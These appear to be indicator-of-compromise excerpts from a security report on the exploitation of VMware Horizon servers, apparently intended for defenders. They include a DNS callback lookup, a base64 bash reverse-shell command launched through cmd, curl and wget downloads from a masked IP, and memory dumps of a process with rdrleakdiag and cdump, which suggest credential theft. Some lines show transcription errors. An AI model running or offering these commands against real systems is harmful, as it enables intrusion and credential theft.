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“C:\Program Files\VMware\VMware View\Server\bin\ws TomcatService.exe”

-SCMStartup Tomcat Service

nslookup 244464b7.dns.1433.eu[.]org
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“C:\Program Files\VMware\VMware View\Server\bin\ws TomcatService.exe”

-SCMStartup Tomcat Service

cmd /C "bash -c {echo,YmFzaCAtaSA JiAv<REDACTED FOR REPORTING>zIDA JjE="
cmd /C "curl http://139.X.X.119:443/ccc"

cmd /C "wget http://139.X.X.119:443/ccc"
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rdrleakdiag.exe /p 824 /o c:\programdata\ /fullmemdmp /wait 1

cdump -u -f [REDACTED FOR REPORTING].dmp 824
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\Device\HarddiskVolume5\Windows\SysWOW64\rdrleakdiag.exe

c:\windows\system32\rdrleakdiag.exe /p 824 /o c:\programdata\ /fullmemdmp /wait 1

\Device\HarddiskVolumeS\Windows\SysWOW64\cmd. exe

C:\Windows\system32\cmd.exe /C dir c:\windows\system32\rdrleakdiag.exe

\Device\HarddiskVolumeS5\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /C cdump -u -f -dmp 824

\Device\HarddiskVolume5\ProgramData\cdump.exe
cdump -u -f -d'np 824

\Device\HarddiskVolumeS\Windows\SysWOW64\cmd. exe
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